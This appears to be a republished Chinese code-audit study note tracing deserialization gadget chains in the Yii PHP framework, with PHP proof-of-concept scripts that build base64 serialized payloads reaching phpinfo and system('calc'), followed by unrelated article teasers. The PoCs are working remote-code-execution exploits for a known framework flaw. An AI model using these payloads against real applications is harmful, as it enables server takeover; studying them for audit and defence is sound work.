DAY112代码审计PHP开发框架POP链利用Yii反序列化POP利用链

一、pop1链的跟踪

1、路由关系

2、漏洞触发口unserialize(base64_decode($data));

2、__destruct(),魔术法方法调用close函数方法

3、未找到利用链,尝试__call魔术方法

4、逆推找call_user_func

函数

第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
_dataReader=new FnStream();
第二部分
return call_user_func($this->_fn_close);
$_fn_close="phpinfo"
Poc链
<?php
//链子逆向这写
namespace GuzzleHttp\Psr7{class FnStream{var $_fn_close = "phpinfo";}
}namespace yii\db{use GuzzleHttp\Psr7\FnStream;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new FnStream();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

5、动态调试

二、pop2链利用分析

1、跟踪call魔术方法到format

format

call_user_func_array($this->getFormatter($formatter), $arguments);

第一个参数可控

2、调用run方法

$this->checkAccess, $this->id,控制这两个参数

第一部分

namespace yii\db;

class BatchQueryResult

__destruct()

$this->reset();

$this->_dataReader->close();

第二部分

__call()

$this->format($method, $attributes)

return call_user_func_array($this->getFormatter($formatter), $arguments);

第三部分

call_user_func()函数方法找到run

Poc:
<?php
//链子逆向这写
namespace yii\rest{//对参数checkAccess,id控制rceclass IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'calc';          //命令执行}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){//最核心的地方$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

三、pop3利用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/60508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Maven 构建项目

Maven 是一个项目管理和构建工具&#xff0c;主要用于 Java 项目。它简化了项目的构建、依赖管理、报告生成、发布等一系列工作。 构建自动化&#xff1a;Maven 提供了一套标准化的构建生命周期&#xff0c;包括编译、测试、打包、部署等步骤&#xff0c;通过简单的命令就可以执…

任务调度中心-XXL-JOB使用详解

目录 详解 调度中心 执行器 原理 快速入门 源码仓库地址 1.初始化数据库 2.配置调度中心 1.解压源码 2.需改配置文件 3.启动调度中心 3.配置执行器 1.引入pom依赖 2.修改配置文件 3.执行器组件配置 4.部署执行器项目 4.开发第一个任务 BEAN模式&#xff08;类…

PostgreSQL 无法为连接创建新的进程

PostgreSQL could not fork new process for connection 前几天在使用 PostgreSQL 数据库的过程中遇到这样一个错误。 could not fork new process for connection: Resource temporarily unavailable 看字面意思是无法克隆一个新的进程供连接使用&#xff0c;资源暂时不可用。…

HBase 安装与基本操作指南

以下是关于 Apache HBase 安装、配置以及简单操作的详细指南&#xff1a; HBase 简介 Apache HBase 是一个基于 Hadoop 的分布式数据库&#xff0c;擅长处理大规模、结构化的海量数据。它采用行列式存储方式&#xff0c;与 Hadoop 和 HDFS 紧密结合&#xff0c;是支持大数据实…

ES6基础

一、变量声明 1.let 语法&#xff1a;let 变量名 值; 特点&#xff1a;存在块级作用域&#xff1b;不存在变量提升&#xff08;考虑暂时性死区&#xff09;&#xff0c;即变量一定要在声明后使用&#xff0c;否则报错&#xff1b;不允许重复声明&#xff08;包括普通变量和函…

ROM修改进阶教程------安卓14 安卓15去除app签名验证的几种操作步骤 详细图文解析

在安卓14 安卓15的固件中。如果修改了系统级别的app。那么就会触发安卓14 15的应用签名验证。要么会导致修改的固件会进不去系统,或者进入系统有bug。博文将从几方面来解析去除安卓14 15应用签名验证的几种方法。 💝💝💝通过博文了解: 1💝💝💝-----安卓14去除…

基于STM32设计的大棚育苗管理系统(4G+华为云IOT)_265

文章目录 一、前言1.1 项目介绍【1】项目开发背景【2】设计实现的功能【3】项目硬件模块组成【4】设计意义【5】国内外研究现状【6】摘要1.2 设计思路1.3 系统功能总结1.4 开发工具的选择【1】设备端开发【2】上位机开发1.5 参考文献1.6 系统框架图1.7 系统原理图1.8 实物图1.9…

spring boot项目打成war包部署

1.修改pom.xml 在 pom.xml 里设置 <packaging>war</packaging>2.移除嵌入式tomcat插件 在 pom.xml 里找到spring-boot-starter-web依赖&#xff0c;在其中添加如下代码&#xff0c; <dependency><groupId>org.springframework.boot</groupId>&l…

植物明星大乱斗1

能帮到你的话&#xff0c;就给个赞吧 &#x1f618; 文章目录 scene.hmenuScene.hgameScene.hmainscene.cppmenuScene.cppgameScene.cpp scene.h #pragma once #include <graphics.h>/* 场景菜单角色选择游戏 */ class Scene { public:virtual ~Scene() 0; public:virt…

校园二手交易网站毕业设计基于SpringBootSSM框架

目录 一、引言 二、需求分析 2.1用户需求分析 2.1.1学生用户 2.1.2管理员 2.2系统功能需求 2.3系统非功能需求 ‌2.4技术需求 ‌2.4.1 技术选择 ‌2.4.2系统架构‌ 三、详细设计 3.1系统架构设计‌ ‌3.2前端设计‌ ‌3.3后端设计‌ ‌3.4数据库设计‌ 本文介绍…

批量规范化与ResNet-paddle

批量规范化与ResNet——paddle部分 本文部分为paddle框架以及部分理论分析&#xff0c;torch框架对应代码可见批量规范化与ResNet import paddle print("paddle version:",paddle.__version__)paddle version: 2.6.1批量规范化 批量规范化&#xff08;Batch Norma…

云速搭助力用友 BIP 平台快速接入阿里云产品

用友 BIP 是用友在 2017 年开始战略投入、规模研发的全新一代的产品&#xff0c;作为全球领先的企业数智化平台与应用软件之一&#xff0c;用友 BIP 商业创新平台&#xff08;Yonyou Business Innovation Platform&#xff09;是用友采用新一代信息技术&#xff0c;按照云原生、…

PHP Session

PHP Session PHP Session 是一种在 PHP 中用于跟踪用户会话的技术。会话允许在用户浏览网站时存储和访问用户信息。本文将详细介绍 PHP Session 的工作原理、如何创建和销毁会话、会话的安全性和最佳实践。 什么是 PHP Session? 在 Web 开发中,HTTP 是一种无状态的协议,这…

从零开始快速构建Vue3项目

一、技术选型 组件大类 具体插件 vue3插件 相关插件开发文档 基础架构搭建 初始项目搭建、打包构件工具&#xff1a;vite开始 | Vite路由管理及菜单权限封装vue-router介绍 | Vue Router状态管理Pinia介绍 | Pinia 中文文档API请求及异常封装axiosUI框架 element-uihttps…

74HC245

74HC245&#xff1a;典型的CMOS型缓冲门电路 在这里用于增加电压

BFS 算法专题(三):BFS 解决边权为 1 的最短路问题

目录 1. 迷宫中离入口最近的出口 1.1 算法原理 1.2 算法代码 2. 最小基因变化 ★★★ 2.1 算法原理 2.2 算法代码 3. 单词接龙 3.1 算法原理 3.2 算法代码 4. 为高尔夫比赛砍树 (hard) 4.1 算法原理 4.2 算法代码 1. 迷宫中离入口最近的出口 . - 力扣&#xff08;…

hive的tblproperties支持修改的属性

文章目录 一、介绍二、查看TBLPROPERTIES属性三、修改TBLPROPERTIES属性 一、介绍 TBLPROPERTIES用途&#xff1a;向表中添加自定义或预定义的元数据属性&#xff0c;并设置它们的赋值。在hive建表时&#xff0c;可设置TBLPROPERTIES参数修改表的元数据&#xff0c;也能通过AL…

「数据要素」行业简报|2024.11.上刊

纵观数据要素行业动态&#xff0c;洞察行业风向&#xff0c;把握行业脉搏&#xff01; 一、政策发布 1、《山东省公共数据资源登记管理工作规范(试行)》公开征求意见 11月7日&#xff0c;为认真贯彻落实《中共中央办公厅 国务院办公厅关于加快公共数据资源开发利用的意见》《…

Paddle分布式训练报NCCL错

应该是没有装NCCL&#xff0c;但是通过NVIDIA官网方式用apt安装报错&#xff0c;说nccl签名有问题 打开官网查找对应版本的nccl&#xff1a;https://developer.nvidia.com/nccl/nccl-legacy-downloads 这里不下载local Ubuntu选项&#xff0c;下载O/S agnostic local install…

有什么好用的 WebSocket 调试工具吗?

在开发和测试 WebSocket 应用程序时&#xff0c;确保客户端能够正确地与服务器建立连接、发送和接收消息是非常重要的。 市面上有许多通用的 API 测试工具&#xff0c;它们大多专注于 HTTP 请求&#xff0c;而对于 WebSocket 的支持则显得较为有限。这种局限性使得开发者在寻找…